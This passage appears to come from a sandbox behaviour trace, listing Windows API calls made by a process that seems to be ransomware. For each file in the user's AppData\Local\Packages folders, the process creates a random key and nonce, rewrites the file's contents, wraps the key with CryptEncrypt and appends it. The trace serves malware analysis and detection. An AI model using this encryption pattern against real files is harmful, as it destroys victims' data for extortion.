returned 0x0 [0158.423] WriteFile (in: hFile=0xd30, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.423] SetFilePointer (in: hFile=0xd30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.424] WriteFile (in: hFile=0xd30, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.424] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.424] CloseHandle (hObject=0xd30) returned 1 [0158.428] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.428] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.428] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.429] ReadFile (in: hFile=0xd30, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.429] SetFilePointer (in: hFile=0xd30, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.429] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.429] SetFilePointer (in: hFile=0xd30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.429] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.429] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.430] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.430] CloseHandle (hObject=0xd30) returned 1 [0158.433] WriteFile (in: hFile=0xd3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.434] CloseHandle (hObject=0xd3c) returned 1 [0158.434] WriteFile (in: hFile=0xd3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.435] CloseHandle (hObject=0xd3c) returned 1 [0158.435] WriteFile (in: hFile=0xd3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.436] CloseHandle (hObject=0xd3c) returned 1 [0158.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.437] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.438] ReadFile (in: hFile=0xd50, lpBuffer=0x5c3468, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.438] SetFilePointer (in: hFile=0xd50, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.438] WriteFile (in: hFile=0xd50, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.438] SetFilePointer (in: hFile=0xd50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.438] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.438] WriteFile (in: hFile=0xd50, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.439] WriteFile (in: hFile=0xd50, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.440] CloseHandle (hObject=0xd50) returned 1 [0158.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.442] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.442] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.442] ReadFile (in: hFile=0xd50, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.444] SetFilePointer (in: hFile=0xd50, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.444] WriteFile (in: hFile=0xd50, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.445] SetFilePointer (in: hFile=0xd50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.445] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.445] WriteFile (in: hFile=0xd50, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.445] WriteFile (in: hFile=0xd50, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.446] CloseHandle (hObject=0xd50) returned 1 [0158.447] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.447] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0158.447] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.448] ReadFile (in: hFile=0xd50, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.459] SetFilePointer (in: hFile=0xd50, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.459] WriteFile (in: hFile=0xd50, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.460] SetFilePointer (in: hFile=0xd50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.460] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.460] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.460] WriteFile (in: hFile=0xd50, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.460] WriteFile (in: hFile=0xd50, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.461] CloseHandle (hObject=0xd50) returned 1 [0158.462] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.462] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0158.462] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.462] ReadFile (in: hFile=0xd50, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.463] SetFilePointer (in: hFile=0xd50, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.463] WriteFile (in: hFile=0xd50, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.463] SetFilePointer (in: hFile=0xd50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.463] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.463] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.463] WriteFile (in: hFile=0xd50, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.464] WriteFile (in: hFile=0xd50, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.464] CloseHandle (hObject=0xd50) returned 1 [0158.467] WriteFile (in: hFile=0xd5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.468] CloseHandle (hObject=0xd5c) returned 1 [0158.468] WriteFile (in: hFile=0xd5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.469] CloseHandle (hObject=0xd5c) returned 1 [0158.469] WriteFile (in: hFile=0xd5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.470] CloseHandle (hObject=0xd5c) returned 1 [0158.470] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.470] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.470] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\TransportIdList.setting", dwFileAttributes=0x80) returned 1 [0158.471] ReadFile (in: hFile=0xd64, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0158.472] SetFilePointer (in: hFile=0xd64, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.472] WriteFile (in: hFile=0xd64, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0158.472] SetFilePointer (in: hFile=0xd64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0158.472] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.473] WriteFile (in: hFile=0xd64, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.473] WriteFile (in: hFile=0xd64, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.473] CloseHandle (hObject=0xd64) returned 1 [0158.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.477] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\PrivateTransportId.setting", dwFileAttributes=0x80) returned 1 [0158.478] ReadFile (in: hFile=0xd64, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x4, lpOverlapped=0x0) returned 1 [0158.479] SetFilePointer (in: hFile=0xd64, lDistanceToMove=-4, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.479] WriteFile (in: hFile=0xd64, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4, lpOverlapped=0x0) returned 1 [0158.479] SetFilePointer (in: hFile=0xd64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4 [0158.479] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.479] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.480] WriteFile (in: hFile=0xd64, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.480] WriteFile (in: hFile=0xd64, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.480] CloseHandle (hObject=0xd64) returned 1 [0158.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0158.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.482] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.last.etl", dwFileAttributes=0x80) returned 1 [0158.505] ReadFile (in: hFile=0xd64, lpBuffer=0x3087008, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3087008*, lpNumberOfBytesRead=0x2e1f9bc*=0x6000, lpOverlapped=0x0) returned 1 [0158.513] SetFilePointer (in: hFile=0xd64, lDistanceToMove=-24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.513] WriteFile (in: hFile=0xd64, lpBuffer=0x308d010*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x308d010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6000, lpOverlapped=0x0) returned 1 [0158.513] SetFilePointer (in: hFile=0xd64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6000 [0158.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.514] WriteFile (in: hFile=0xd64, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.514] WriteFile (in: hFile=0xd64, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.514] CloseHandle (hObject=0xd64) returned 1 [0158.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0158.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\MessagingBackgroundTaskLog.etl", dwFileAttributes=0x80) returned 1 [0158.517] ReadFile (in: hFile=0xd64, lpBuffer=0x3087008, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3087008*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0158.518] SetFilePointer (in: hFile=0xd64, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.518] WriteFile (in: hFile=0xd64, lpBuffer=0x308b010*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x308b010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0158.519] SetFilePointer (in: hFile=0xd64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0158.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.519] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.519] WriteFile (in: hFile=0xd64, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.519] WriteFile (in: hFile=0xd64, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.519] CloseHandle (hObject=0xd64) returned 1 [0158.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0158.521] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\HasRegisteredAsDefaultApp.setting", dwFileAttributes=0x80) returned 1 [0158.522] ReadFile (in: hFile=0xd64, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4, lpOverlapped=0x0) returned 1 [0158.523] SetFilePointer (in: hFile=0xd64, lDistanceToMove=-4, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 